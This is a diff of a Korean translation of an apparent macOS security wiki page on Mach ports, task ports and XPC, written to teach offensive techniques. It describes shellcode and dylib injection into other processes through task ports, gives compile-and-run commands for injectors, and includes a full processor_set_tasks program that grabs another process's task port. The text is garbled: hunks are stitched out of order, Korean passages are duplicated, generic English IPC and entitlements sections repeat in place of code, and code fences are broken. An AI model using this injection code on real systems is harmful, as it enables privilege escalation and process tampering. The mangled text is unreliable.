일부 특별한 포트는 작업이 해당 포트에 대한 **SEND** 권한을 갖고 있는 경우 **특정 민감한 작업을 수행하거나 특정 민감한 데이터에 액세스**할 수 있습니다. 이는 공격자의 관점에서 이러한 포트가 매우 흥미로울 뿐만 아니라 **작업 간에 SEND 권한을 공유**할 수 있기 때문입니다.
|
||||
|
||||
### 호스트 특별 포트
|
||||
|
||||
이러한 포트는 숫자로 표시됩니다.
|
||||
|
||||
**SEND** 권한은 **`host_get_special_port`**를 호출하여 얻을 수 있으며 **RECEIVE** 권한은 **`host_set_special_port`**를 호출하여 얻을 수 있습니다. 그러나 두 호출 모두 **루트만 액세스할 수 있는 `host_priv`** 포트가 필요합니다. 또한 과거에는 루트가 **`host_set_special_port`**를 호출하고 임의로 탈취할 수 있었으며, 예를 들어 `HOST_KEXTD_PORT`를 탈취하여 코드 서명을 우회할 수 있었습니다 (SIP가 이를 방지합니다).
|
||||
**`host_get_special_port`**를 호출하여 **SEND** 권한을 얻을 수 있으며, **`host_set_special_port`**를 호출하여 **RECEIVE** 권한을 얻을 수 있습니다. 그러나 두 호출 모두 **루트만 액세스할 수 있는 `host_priv`** 포트가 필요합니다. 또한 과거에 루트가 **`host_set_special_port`**를 호출하고 임의의 포트를 탈취할 수 있었으며, 예를 들어 `HOST_KEXTD_PORT`를 탈취하여 코드 서명을 우회할 수 있었지만 (SIP가 이를 방지합니다).
|
||||
|
||||
이러한 포트는 2개의 그룹으로 나뉩니다: **첫 7개 포트는 커널이 소유**하며 1은 `HOST_PORT`, 2는 `HOST_PRIV_PORT`, 3은 `HOST_IO_MASTER_PORT`이고 7은 `HOST_MAX_SPECIAL_KERNEL_PORT`입니다.\
|
||||
**8부터 시작하는 포트는 시스템 데몬이 소유**하며 [**`host_special_ports.h`**](https://opensource.apple.com/source/xnu/xnu-4570.1.46/osfmk/mach/host\_special\_ports.h.auto.html)에서 선언된 포트를 찾을 수 있습니다.
|
||||
|
@ -433,30 +431,51 @@ printf("Sent a message\n");
|
|||
* `host_virtual_physical_table_info`: 가상/물리 페이지 테이블 (MACH\_VMDEBUG 필요)
|
||||
* `host_statistics`: 호스트 통계 가져오기
|
||||
* `mach_memory_info`: 커널 메모리 레이아웃 가져오기
|
||||
* **호스트 Priv 포트**: 이 포트에 대한 **SEND** 권한을 갖고 있는 프로세스는 부팅 데이터 표시 또는 커널 익스텐션 로드 시도와 같은 **특권 작업**을 수행할 수 있습니다. **프로세스는 루트여야만** 이 권한을 얻을 수 있습니다.
|
||||
* 또한 **`kext_request`** API를 호출하려면 다른 엔타이틀먼트 **`com.apple.private.kext*`**가 필요하며 이는 Apple 이진 파일에만 제공됩니다.
|
||||
* **호스트 Priv 포트**: 이 포트에 대한 **SEND** 권한을 갖고 있는 프로세스는 부팅 데이터를 표시하거나 커널 익스텐션을 로드하는 등 **특권 작업**을 수행할 수 있습니다. **프로세스는 루트여야만** 이 권한을 얻을 수 있습니다.
|
||||
* 또한 **`kext_request`** API를 호출하려면 다른 엔타이틀먼트 **`com.apple.private.kext*`**가 필요하며, 이는 Apple 이진 파일에만 제공됩니다.
|
||||
* 호출할 수 있는 다른 루틴은 다음과 같습니다:
|
||||
* `host_get_boot_info`: `machine_boot_info()` 가져오기
|
||||
* `host_priv_statistics`: 특권 통계 가져오기
|
||||
* `vm_allocate_cpm`: 연속 물리 메모리 할당
|
||||
* `host_processors`: 호스트 프로세서에 대한 권한 보내기
|
||||
* `host_processors`: 호스트 프로세서에 대한 SEND 권한
|
||||
* `mach_vm_wire`: 메모리 상주화
|
||||
* **루트**가 이 권한에 액세스할 수 있기 때문에 `host_set_[special/exception]_port[s]`를 호출하여 **호스트 특별 또는 예외 포트를 탈취**할 수 있습니다.
|
||||
* **루트**가 이 권한에 액세스할 수 있으므로 `host_set_[special/exception]_port[s]`를 호출하여 호스트 특별 또는 예외 포트를 **탈취**할 수 있습니다.
|
||||
|
||||
모든 호스트 특별 포트를 볼 수 있습니다.
|
||||
```bash
|
||||
procexp all ports | grep "HSP"
|
||||
```
|
||||
### 특별 포트 작업
|
||||
|
||||
이 포트들은 잘 알려진 서비스를 위해 예약된 포트들입니다. `task_[get/set]_special_port`를 호출하여 이들을 가져오거나 설정할 수 있습니다. 이들은 `task_special_ports.h`에서 찾을 수 있습니다:
|
||||
```c
|
||||
typedef int task_special_port_t;
|
||||
|
||||
#define TASK_KERNEL_PORT 1 /* Represents task to the outside
|
||||
world.*/
|
||||
#define TASK_HOST_PORT 2 /* The host (priv) port for task. */
|
||||
#define TASK_BOOTSTRAP_PORT 4 /* Bootstrap environment for task. */
|
||||
#define TASK_WIRED_LEDGER_PORT 5 /* Wired resource ledger for task. */
|
||||
#define TASK_PAGED_LEDGER_PORT 6 /* Paged resource ledger for task. */
|
||||
```
|
||||
[여기](https://web.mit.edu/darwin/src/modules/xnu/osfmk/man/task\_get\_special\_port.html)에서:
|
||||
|
||||
* **TASK\_KERNEL\_PORT**\[task-self send right]: 이 작업을 제어하는 데 사용되는 포트. 작업에 영향을 주는 메시지를 보내기 위해 사용됩니다. 이는 **mach\_task\_self (아래의 작업 포트 참조)**에 의해 반환된 포트입니다.
|
||||
* **TASK\_BOOTSTRAP\_PORT**\[bootstrap send right]: 작업의 부트스트랩 포트. 다른 시스템 서비스 포트의 반환을 요청하는 메시지를 보내기 위해 사용됩니다.
|
||||
* **TASK\_HOST\_NAME\_PORT**\[host-self send right]: 포함된 호스트의 정보를 요청하는 데 사용되는 포트. 이는 **mach\_host\_self**에 의해 반환된 포트입니다.
|
||||
* **TASK\_WIRED\_LEDGER\_PORT**\[ledger send right]: 이 작업이 유선 커널 메모리를 가져오는 소스를 명명하는 포트.
|
||||
* **TASK\_PAGED\_LEDGER\_PORT**\[ledger send right]: 이 작업이 기본 메모리 관리 메모리를 가져오는 소스를 명명하는 포트.
|
||||
|
||||
### 작업 포트
|
||||
|
||||
원래 Mach에는 "프로세스"가 아니라 "작업"이 있었으며, 이는 스레드의 컨테이너처럼 간주되었습니다. Mach가 BSD와 병합될 때 **각 작업은 BSD 프로세스와 관련**되었습니다. 따라서 모든 BSD 프로세스는 프로세스로서 필요한 세부 정보를 가지고 있으며 모든 Mach 작업도 내부 작업을 가지고 있습니다 (단, 존재하지 않는 pid 0인 `kernel_task` 제외).
|
||||
원래 Mach에는 "프로세스"가 아닌 "작업"이 있었으며 이는 스레드의 컨테이너처럼 고려되었습니다. Mach가 BSD와 병합될 때 **각 작업은 BSD 프로세스와 관련**되었습니다. 따라서 모든 BSD 프로세스는 프로세스가 되기 위해 필요한 세부 정보를 가지고 있으며 모든 Mach 작업도 내부 작업을 가지고 있습니다 (커널 작업인 존재하지 않는 pid 0인 경우를 제외).
|
||||
|
||||
이와 관련된 두 가지 매우 흥미로운 함수가 있습니다:
|
||||
|
||||
* `task_for_pid(target_task_port, pid, &task_port_of_pid)`: `pid`로 지정된 작업과 관련된 작업 포트에 대한 SEND 권한을 얻어 지정된 `target_task_port`에 제공합니다 (`mach_task_self()`를 사용한 호출자 작업인 경우가 일반적이지만 다른 작업의 SEND 포트일 수도 있음).
|
||||
* `task_for_pid(target_task_port, pid, &task_port_of_pid)`: 지정된 `pid`와 관련된 작업의 작업 포트에 대한 SEND 권한을 얻고 지정된 `target_task_port`에 제공합니다(`mach_task_self()`를 사용한 호출자 작업인 경우가 일반적이지만 다른 작업을 통해 SEND 포트를 사용할 수도 있음).
|
||||
* `pid_for_task(task, &pid)`: 작업에 대한 SEND 권한이 있는 경우 해당 작업이 관련된 PID를 찾습니다.
|
||||
|
||||
작업 내에서 작업을 수행하려면 `mach_task_self()`를 호출하여 자체에 대한 `SEND` 권한이 필요했습니다 (`task_self_trap` (28)을 사용). 이 권한으로 작업은 다음과 같은 여러 작업을 수행할 수 있습니다:
|
||||
작업 내에서 작업을 수행하려면 `mach_task_self()`를 호출하여 자체에 대한 `SEND` 권한이 필요했습니다 (`task_self_trap` (28)을 사용). 이 권한을 통해 작업은 다음과 같은 여러 작업을 수행할 수 있습니다:
|
||||
|
||||
* `task_threads`: 작업의 스레드의 모든 작업 포트에 대한 SEND 권한 가져오기
|
||||
* `task_info`: 작업에 대한 정보 가져오기
|
||||
|
@ -464,27 +483,40 @@ procexp all ports | grep "HSP"
|
|||
* `task_[get/set]_special_port`
|
||||
* `thread_create`: 스레드 생성
|
||||
* `task_[get/set]_state`: 작업 상태 제어
|
||||
* 그리고 더 많은 것들은 [**mach/task.h**](https://github.com/phracker/MacOSX-SDKs/blob/master/MacOSX11.3.sdk/System/Library/Frameworks/Kernel.framework/Versions/A/Headers/mach/task.h)에서 찾을 수 있습니다.
|
||||
* 그리고 더 많은 것은 [**mach/task.h**](https://github.com/phracker/MacOSX-SDKs/blob/master/MacOSX11.3.sdk/System/Library/Frameworks/Kernel.framework/Versions/A/Headers/mach/task.h)에서 찾을 수 있습니다.
|
||||
|
||||
{% hint style="danger" %}
|
||||
**다른 작업**의 작업 포트에 대한 SEND 권한이 있는 경우 다른 작업에서 이러한 작업을 수행할 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
게다가, 작업 포트는 또한 **`vm_map`** 포트이며 `vm_read()` 및 `vm_write()`와 같은 함수를 사용하여 작업 내부의 메모리를 **읽고 조작**할 수 있습니다. 이는 기본적으로 다른 작업의 작업 포트에 대한 SEND 권한이 있는 작업이 해당 작업에 **코드를 삽입**할 수 있음을 의미합니다.
|
||||
또한, 작업 포트는 **`vm_map`** 포트이기도 하며 `vm_read()` 및 `vm_write()`와 같은 함수를 사용하여 작업 내부의 메모리를 **읽고 조작**할 수 있습니다. 이는 기본적으로 다른 작업의 작업 포트에 대한 SEND 권한을 가진 작업이 해당 작업에 **코드를 삽입**할 수 있음을 의미합니다.
|
||||
|
||||
**커널도 작업**이기 때문에 누군가가 **`kernel_task`에 대한 SEND 권한**을 획들하면 커널을 실행할 수 있게 됩니다 (탈옥).
|
||||
**커널도 작업**이기 때문에 누군가가 **`kernel_task`에 대한 SEND 권한**을 획들하면 커널이 아무 것이나 실행할 수 있게 됩니다 (탈옥).
|
||||
|
||||
* `mach_task_self()`를 호출하여 호출자 작업에 대한 이 포트의 **이름을 가져옵니다**. 이 포트는 **`exec()`를 통해만 상속**됩니다. `fork()`로 생성된 새 작업은 새 작업 포트를 받습니다 (`exec()` 이후 suid 이진 파일에서도 특별한 경우로 `exec()` 이후에도 작업은 새 작업 포트를 받습니다). 작업을 생성하고 해당 포트를 얻는 유일한 방법은 `fork()`를 수행하는 동안 ["포트 스왑 댄스"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html)를 수행하는 것입니다.
|
||||
* **이 포트에 대한 이름**을 가져오려면 `mach_task_self()`를 호출하십시오. 이 포트는 **`exec()`를 통해만 상속**됩니다. `fork()`로 생성된 새 작업은 새 작업 포트를 받습니다 (`exec()` 이후 suid 이진 파일에서도 특별한 경우로 `exec()` 이후에도 새 작업 포트를 받습니다). 작업을 생성하고 해당 포트를 가져오는 유일한 방법은 `fork()`를 수행하는 동안 ["포트 스왑 댄스"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html)를 수행하는 것입니다.
|
||||
* 이 포트에 액세스하는 제한 사항은 이진 파일 `AppleMobileFileIntegrity`의 `macos_task_policy`에서 다음과 같습니다:
|
||||
* 앱이 **`com.apple.security.get-task-allow` 엔터티**를 가지고 있으면 **동일한 사용자의 프로세스가 작업 포트에 액세스**할 수 있습니다 (주로 디버깅을 위해 Xcode에서 추가됨). **인증** 프로세스는 프로덕션 릴리스에서 허용하지 않습니다.
|
||||
* **`com.apple.system-task-ports`** 엔터티를 가진 앱은 커널을 제외한 **모든** 프로세스의 **작업 포트를 얻을 수 있습니다**. 이전 버전에서는 **`task_for_pid-allow`**로 불렸습니다. 이 권한은 Apple 애플리케이션에만 부여됩니다.
|
||||
* **루트는** **하드닝된** 런타임으로 컴파일되지 않은 앱의 작업 포트에 **액세스할 수 있습니다** (Apple에서 제공되지 않음).
|
||||
* 앱이 **`com.apple.security.get-task-allow` 엔터티**를 가지고 있으면 **동일한 사용자의 프로세스가 작업 포트에 액세스**할 수 있습니다 (일반적으로 디버깅을 위해 Xcode에서 추가됨). **인증** 프로세스는 프로덕션 릴리스에서 허용하지 않습니다.
|
||||
* **`com.apple.system-task-ports`** 엔터티를 가진 앱은 커널을 제외한 **모든** 프로세스의 **작업 포트를 가져올 수** 있습니다. 이전 버전에서는 **`task_for_pid-allow`**로 불렸습니다. 이 권한은 Apple 애플리케이션에만 부여됩니다.
|
||||
* **루트는** **하드닝된** 런타임으로 컴파일되지 않은 애플리케이션의 작업 포트에 **액세스**할 수 있습니다(Apple에서 제공하지 않음).
|
||||
|
||||
**작업 이름 포트:** _작업 포트_의 권한이 없는 버전입니다. 작업을 참조하지만 제어할 수는 없습니다. 이를 통해 사용할 수 있는 유일한 것은 `task_info()`인 것으로 보입니다.
|
||||
**작업 이름 포트:** _작업 포트_의 권한이 없는 버전입니다. 작업을 참조하지만 제어할 수는 없습니다. 이를 통해 사용 가능한 유일한 것은 `task_info()`인 것 같습니다.
|
||||
|
||||
### 작업 포트를 통한 스레드 내 셸코드 삽입
|
||||
### 스레드 포트
|
||||
|
||||
다음에서 셸코드를 가져올 수 있습니다:
|
||||
스레드에도 연결된 포트가 있으며 이는 **`task_threads`**를 호출하는 작업 및 `processor_set_threads`에서 볼 수 있습니다. 스레드 포트에 대한 SEND 권한을 얻으면 `thread_act` 하위 시스템의 함수를 사용할 수 있습니다:
|
||||
|
||||
* `thread_terminate`
|
||||
* `thread_[get/set]_state`
|
||||
* `act_[get/set]_state`
|
||||
* `thread_[suspend/resume]`
|
||||
* `thread_info`
|
||||
* ...
|
||||
|
||||
모든 스레드는 **`mach_thread_sef`**를 호출하여 이 포트를 얻을 수 있습니다.
|
||||
|
||||
### 작업 포트를 통한 스레드에 대한 셸코드 삽입
|
||||
|
||||
셸코드를 다음 위치에서 가져올 수 있습니다:
|
||||
|
||||
{% content-ref url="../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
|
||||
[arm64-basic-assembly.md](../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
|
||||
|
@ -527,21 +559,27 @@ return 0;
|
|||
|
||||
## entitlements.plist
|
||||
|
||||
### Description
|
||||
### macOS Entitlements
|
||||
|
||||
The `entitlements.plist` file contains a list of entitlements that the application has been granted. These entitlements define the capabilities and permissions that the application has on the system.
|
||||
macOS applications are granted certain privileges and capabilities based on their entitlements. These entitlements are defined in the `entitlements.plist` file, which is included in the application bundle.
|
||||
|
||||
### Impact
|
||||
#### Viewing Entitlements
|
||||
|
||||
If an attacker is able to modify the `entitlements.plist` file of a vulnerable application, they may be able to escalate privileges or perform unauthorized actions on the system.
|
||||
You can view the entitlements of an application by examining its `entitlements.plist` file. This file contains key-value pairs that specify the entitlements granted to the application.
|
||||
|
||||
### Detection
|
||||
#### Modifying Entitlements
|
||||
|
||||
Monitor changes to the `entitlements.plist` file and verify its integrity regularly to detect any unauthorized modifications.
|
||||
In some cases, you may want to modify the entitlements of an application to grant or restrict certain privileges. This can be done by editing the `entitlements.plist` file, but be cautious as modifying entitlements incorrectly can lead to security vulnerabilities.
|
||||
|
||||
### Mitigation
|
||||
#### Common Entitlements
|
||||
|
||||
Ensure that the `entitlements.plist` file is securely stored and protected from unauthorized access. Implement proper file permissions and access controls to prevent unauthorized modifications. Regularly audit the entitlements granted to applications to ensure they are necessary and appropriate.
|
||||
Some common entitlements include:
|
||||
|
||||
- `com.apple.security.app-sandbox`: Restricts the app's access to system resources.
|
||||
- `com.apple.security.network.client`: Allows the app to act as a network client.
|
||||
- `com.apple.security.files.user-selected.read-write`: Grants the app read and write access to user-selected files.
|
||||
|
||||
Understanding and managing entitlements is crucial for securing macOS applications and preventing privilege escalation attacks.
|
||||
|
||||
{% endtab %}
|
||||
```xml
|
||||
|
@ -556,7 +594,7 @@ Ensure that the `entitlements.plist` file is securely stored and protected from
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
이전 프로그램을 **컴파일**하고 동일한 사용자로 코드를 주입할 수 있도록 **엔타이틀먼트**를 추가하십시오 (그렇지 않으면 **sudo**를 사용해야 합니다).
|
||||
이전 프로그램을 **컴파일**하고 동일한 사용자로 코드를 주입할 수 있도록 **엔터티먼트**를 추가하십시오 (그렇지 않으면 **sudo**를 사용해야 합니다).
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -762,11 +800,29 @@ return 0;
|
|||
```
|
||||
</details>
|
||||
|
||||
## macOS IPC (Inter-Process Communication)
|
||||
## macOS Inter-Process Communication (IPC)
|
||||
|
||||
### Overview
|
||||
|
||||
Inter-Process Communication (IPC) mechanisms are commonly used in macOS for processes to communicate with each other. Understanding how IPC works is crucial for both developers and security professionals to prevent abuse and privilege escalation.
|
||||
Inter-Process Communication (IPC) mechanisms on macOS can be abused by attackers to facilitate privilege escalation. This can be achieved by manipulating communication channels between processes to execute arbitrary code in the context of a higher-privileged process.
|
||||
|
||||
### Techniques
|
||||
|
||||
#### Mach Ports
|
||||
|
||||
Mach ports are a fundamental IPC mechanism on macOS, allowing processes to send messages and data between each other. Attackers can abuse mach ports to intercept and manipulate messages, potentially leading to privilege escalation.
|
||||
|
||||
#### XPC Services
|
||||
|
||||
XPC services are a type of inter-process communication on macOS that allows helper processes to be spawned and communicate with the main application. Attackers can abuse insecure XPC services to execute arbitrary code with elevated privileges.
|
||||
|
||||
#### Distributed Objects
|
||||
|
||||
Distributed Objects is another IPC mechanism on macOS that enables objects to be passed between processes. Attackers can abuse Distributed Objects to manipulate object references and potentially escalate privileges.
|
||||
|
||||
### Mitigation
|
||||
|
||||
To mitigate abuse of IPC mechanisms on macOS, ensure that communication channels between processes are secure and properly authenticated. Additionally, restrict the use of privileged IPC mechanisms to trusted applications only. Regularly monitor IPC activity for any signs of abuse.
|
||||
```bash
|
||||
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
|
||||
./inject <pi or string>
|
||||
|
@ -777,13 +833,13 @@ iOS에서 작동하려면 쓰기 가능한 메모리를 실행 가능하게 만
|
|||
|
||||
### 태스크 포트를 통한 스레드 내 Dylib 삽입
|
||||
|
||||
macOS에서 **스레드**는 **Mach**를 통해 조작되거나 **posix `pthread` api**를 사용하여 조작될 수 있습니다. 이전 삽입에서 생성된 스레드는 Mach api를 사용하여 생성되었기 때문에 **posix 호환성이 없습니다**.
|
||||
macOS에서 **스레드**는 **Mach**을 통해 조작되거나 **posix `pthread` api**를 사용하여 조작될 수 있습니다. 이전 삽입에서 생성된 스레드는 Mach api를 사용하여 생성되었기 때문에 **posix 호환성이 없습니다**.
|
||||
|
||||
**단순한 셸코드를 삽입**하여 명령을 실행하는 것이 가능했던 이유는 **posix 호환 api가 아닌 Mach와만 작동**해야 했기 때문입니다. **더 복잡한 삽입**을 위해서는 **스레드**가 또한 **posix 호환**되어야 합니다.
|
||||
**단순한 셸코드를 삽입**하여 명령을 실행하는 것이 가능했던 이유는 **posix 호환 api와 작업할 필요가 없었기 때문**입니다. **더 복잡한 삽입**을 위해서는 **스레드**가 또한 **posix 호환**이어야 합니다.
|
||||
|
||||
따라서 **스레드를 개선**하기 위해 **`pthread_create_from_mach_thread`**를 호출하여 **유효한 pthread를 생성**해야 합니다. 그런 다음, 이 새로운 pthread는 시스템에서 **dylib를 로드**하기 위해 **dlopen을 호출**할 수 있습니다. 따라서 다양한 작업을 수행하기 위해 새로운 셸코드를 작성하는 대신 사용자 정의 라이브러리를 로드할 수 있습니다.
|
||||
따라서 **스레드를 개선**하기 위해 **`pthread_create_from_mach_thread`**를 호출하여 **유효한 pthread를 생성**해야 합니다. 그런 다음, 이 새로운 pthread는 시스템에서 **dylib를 로드**하기 위해 **dlopen을 호출**할 수 있습니다. 따라서 다른 작업을 수행하기 위해 새로운 셸코드를 작성하는 대신 사용자 정의 라이브러리를 로드할 수 있습니다.
|
||||
|
||||
예를 들어 **다음과 같은 예제 dylibs**를 찾을 수 있습니다 (예: 로그를 생성하고 해당 로그를 청취할 수 있는 것):
|
||||
예를 들어 **다음과 같은 예제 dylibs**를 찾을 수 있습니다 (예를 들어 로그를 생성하고 해당 로그를 듣을 수 있는 것):
|
||||
|
||||
{% content-ref url="../macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
|
||||
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../macos-library-injection/macos-dyld-hijacking-and-dyld\_insert_libraries.md)
|
||||
|
@ -991,7 +1047,7 @@ return (-3);
|
|||
|
||||
|
||||
// Set the permissions on the allocated code memory
|
||||
```kr
|
||||
```c
|
||||
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
|
@ -1065,11 +1121,29 @@ fprintf(stderr,"Dylib를 찾을 수 없음\n");
|
|||
```
|
||||
</details>
|
||||
|
||||
## macOS 프로세스 남용
|
||||
## macOS Inter-Process Communication (IPC)
|
||||
|
||||
### macOS IPC (Inter-Process Communication)
|
||||
### Overview
|
||||
|
||||
이 섹션에서는 macOS에서 프로세스 간 통신 (IPC)을 남용하는 방법에 대해 다룹니다.
|
||||
Inter-Process Communication (IPC) mechanisms on macOS can be abused by attackers to facilitate privilege escalation. This can be achieved by manipulating communication channels between processes to execute arbitrary code in the context of a higher-privileged process.
|
||||
|
||||
### Techniques
|
||||
|
||||
#### Mach Ports
|
||||
|
||||
Mach ports are a fundamental IPC mechanism on macOS, allowing processes to send messages and data between each other. Attackers can abuse mach ports by intercepting communication between processes or by impersonating legitimate processes to gain elevated privileges.
|
||||
|
||||
#### XPC Services
|
||||
|
||||
XPC Services are a common IPC mechanism used by macOS applications to communicate with each other. Attackers can abuse insecure XPC Services to execute arbitrary code in the context of a privileged process, leading to privilege escalation.
|
||||
|
||||
#### Distributed Objects
|
||||
|
||||
Distributed Objects is another IPC mechanism on macOS that can be abused by attackers. By manipulating distributed objects, attackers can trick processes into executing malicious code with elevated privileges.
|
||||
|
||||
### Mitigation
|
||||
|
||||
To mitigate the abuse of IPC mechanisms on macOS, it is essential to implement proper input validation, secure communication channels, and privilege separation between processes. Additionally, monitoring IPC activities for suspicious behavior can help detect and prevent privilege escalation attempts.
|
||||
```bash
|
||||
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
|
||||
./inject <pid-of-mysleep> </path/to/lib.dylib>
|
||||
|
@ -1082,13 +1156,154 @@ gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
|
|||
[macos-thread-injection-via-task-port.md](macos-thread-injection-via-task-port.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### 태스크 포트 주입 탐지
|
||||
|
||||
`task_for_pid` 또는 `thread_create_*`를 호출할 때, 커널의 task 구조체에서 카운터가 증가하며 이는 사용자 모드에서 `task_info(task, TASK_EXTMOD_INFO, ...)`를 호출하여 액세스할 수 있습니다.
|
||||
|
||||
## 예외 포트
|
||||
|
||||
스레드에서 예외가 발생하면 해당 예외는 스레드의 지정된 예외 포트로 전송됩니다. 스레드가 처리하지 않으면 태스크 예외 포트로 전송됩니다. 태스크가 처리하지 않으면 launchd에 의해 관리되는 호스트 포트로 전송되어 처리됩니다. 이를 예외 트리지라고 합니다.
|
||||
|
||||
일반적으로 제대로 처리되지 않으면 보고서는 ReportCrash 데몬에 의해 처리됩니다. 그러나 동일한 태스크의 다른 스레드가 예외를 처리할 수 있으며, 이는 `PLCrashReporter`와 같은 크래시 보고 도구가 하는 일입니다.
|
||||
|
||||
## 기타 객체
|
||||
|
||||
### 클록
|
||||
|
||||
어떤 사용자든 클록에 대한 정보에 액세스할 수 있지만 시간을 설정하거나 다른 설정을 수정하려면 루트 사용자여야 합니다.
|
||||
|
||||
정보를 얻기 위해 `clock` 서브시스템에서 `clock_get_time`, `clock_get_attributtes`, `clock_alarm`과 같은 함수를 호출할 수 있습니다.\
|
||||
값을 수정하려면 `clock_priv` 서브시스템을 사용하여 `clock_set_time`, `clock_set_attributes`와 같은 함수를 사용할 수 있습니다.
|
||||
|
||||
### 프로세서 및 프로세서 세트
|
||||
|
||||
프로세서 API를 사용하면 `processor_start`, `processor_exit`, `processor_info`, `processor_get_assignment`과 같은 함수를 호출하여 단일 논리 프로세서를 제어할 수 있습니다.
|
||||
|
||||
또한 **프로세서 세트** API는 여러 프로세서를 그룹화하는 방법을 제공합니다. 기본 프로세서 세트를 검색할 수 있습니다. **`processor_set_default`**를 호출하여 기본 프로세서 세트를 검색할 수 있습니다.\
|
||||
프로세서 세트와 상호 작용하는 몇 가지 흥미로운 API는 다음과 같습니다:
|
||||
|
||||
* `processor_set_statistics`
|
||||
* `processor_set_tasks`: 프로세서 세트 내의 모든 작업에 대한 send 권한 배열 반환
|
||||
* `processor_set_threads`: 프로세서 세트 내의 모든 스레드에 대한 send 권한 배열 반환
|
||||
* `processor_set_stack_usage`
|
||||
* `processor_set_info`
|
||||
|
||||
[**이 게시물**](https://reverse.put.as/2014/05/05/about-the-processor_set_tasks-access-to-kernel-memory-vulnerability/)에서 언급된 바와 같이, 과거에는 이를 통해 다른 프로세스의 태스크 포트를 얻어 제어할 수 있었지만, 현재는 해당 기능을 사용하려면 루트 권한이 필요하며 보호되어 있어 보호되지 않은 프로세스에서만 이러한 포트를 얻을 수 있습니다.
|
||||
|
||||
다음과 같이 시도해 볼 수 있습니다:
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>processor_set_tasks 코드</strong></summary>
|
||||
````c
|
||||
// Maincpart fo the code from https://newosxbook.com/articles/PST2.html
|
||||
//gcc ./port_pid.c -o port_pid
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/sysctl.h>
|
||||
#include <libproc.h>
|
||||
#include <mach/mach.h>
|
||||
#include <errno.h>
|
||||
#include <string.h>
|
||||
#include <mach/exception_types.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/host_priv.h>
|
||||
#include <mach/processor_set.h>
|
||||
#include <mach/mach_init.h>
|
||||
#include <mach/mach_port.h>
|
||||
#include <mach/vm_map.h>
|
||||
#include <mach/task.h>
|
||||
#include <mach/task_info.h>
|
||||
#include <mach/mach_traps.h>
|
||||
#include <mach/mach_error.h>
|
||||
#include <mach/thread_act.h>
|
||||
#include <mach/thread_info.h>
|
||||
#include <mach-o/loader.h>
|
||||
#include <mach-o/nlist.h>
|
||||
#include <sys/ptrace.h>
|
||||
|
||||
mach_port_t task_for_pid_workaround(int Pid)
|
||||
{
|
||||
|
||||
host_t myhost = mach_host_self(); // host self is host priv if you're root anyway..
|
||||
mach_port_t psDefault;
|
||||
mach_port_t psDefault_control;
|
||||
|
||||
task_array_t tasks;
|
||||
mach_msg_type_number_t numTasks;
|
||||
int i;
|
||||
|
||||
thread_array_t threads;
|
||||
thread_info_data_t tInfo;
|
||||
|
||||
kern_return_t kr;
|
||||
|
||||
kr = processor_set_default(myhost, &psDefault);
|
||||
|
||||
kr = host_processor_set_priv(myhost, psDefault, &psDefault_control);
|
||||
if (kr != KERN_SUCCESS) { fprintf(stderr, "host_processor_set_priv failed with error %x\n", kr);
|
||||
mach_error("host_processor_set_priv",kr); exit(1);}
|
||||
|
||||
printf("So far so good\n");
|
||||
|
||||
kr = processor_set_tasks(psDefault_control, &tasks, &numTasks);
|
||||
if (kr != KERN_SUCCESS) { fprintf(stderr,"processor_set_tasks failed with error %x\n",kr); exit(1); }
|
||||
|
||||
for (i = 0; i < numTasks; i++)
|
||||
{
|
||||
int pid;
|
||||
pid_for_task(tasks[i], &pid);
|
||||
printf("TASK %d PID :%d\n", i,pid);
|
||||
char pathbuf[PROC_PIDPATHINFO_MAXSIZE];
|
||||
if (proc_pidpath(pid, pathbuf, sizeof(pathbuf)) > 0) {
|
||||
printf("Command line: %s\n", pathbuf);
|
||||
} else {
|
||||
printf("proc_pidpath failed: %s\n", strerror(errno));
|
||||
}
|
||||
if (pid == Pid){
|
||||
printf("Found\n");
|
||||
return (tasks[i]);
|
||||
}
|
||||
}
|
||||
|
||||
return (MACH_PORT_NULL);
|
||||
} // end workaround
|
||||
|
||||
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
/*if (argc != 2) {
|
||||
fprintf(stderr, "Usage: %s <PID>\n", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
pid_t pid = atoi(argv[1]);
|
||||
if (pid <= 0) {
|
||||
fprintf(stderr, "Invalid PID. Please enter a numeric value greater than 0.\n");
|
||||
return 1;
|
||||
}*/
|
||||
|
||||
int pid = 1;
|
||||
|
||||
task_for_pid_workaround(pid);
|
||||
return 0;
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
````
|
||||
|
||||
</details>
|
||||
|
||||
## XPC
|
||||
|
||||
### 기본 정보
|
||||
### Basic Information
|
||||
|
||||
XPC는 macOS 및 iOS에서 프로세스 간 통신을 위한 XNU( macOS에서 사용되는 커널) 인터프로세스 통신을 나타냅니다. XPC는 시스템 내에서 서로 다른 프로세스 간에 안전한 비동기 메소드 호출을 수행하는 메커니즘을 제공합니다. 이는 Apple의 보안 패러다임의 일부로, 각 구성 요소가 작업을 수행하는 데 필요한 권한만 갖고 실행되는 **권한 분리된 응용 프로그램**을 생성하여, **컴프라마이즈된 프로세스로부터의 잠재적인 피해를 제한**합니다.
|
||||
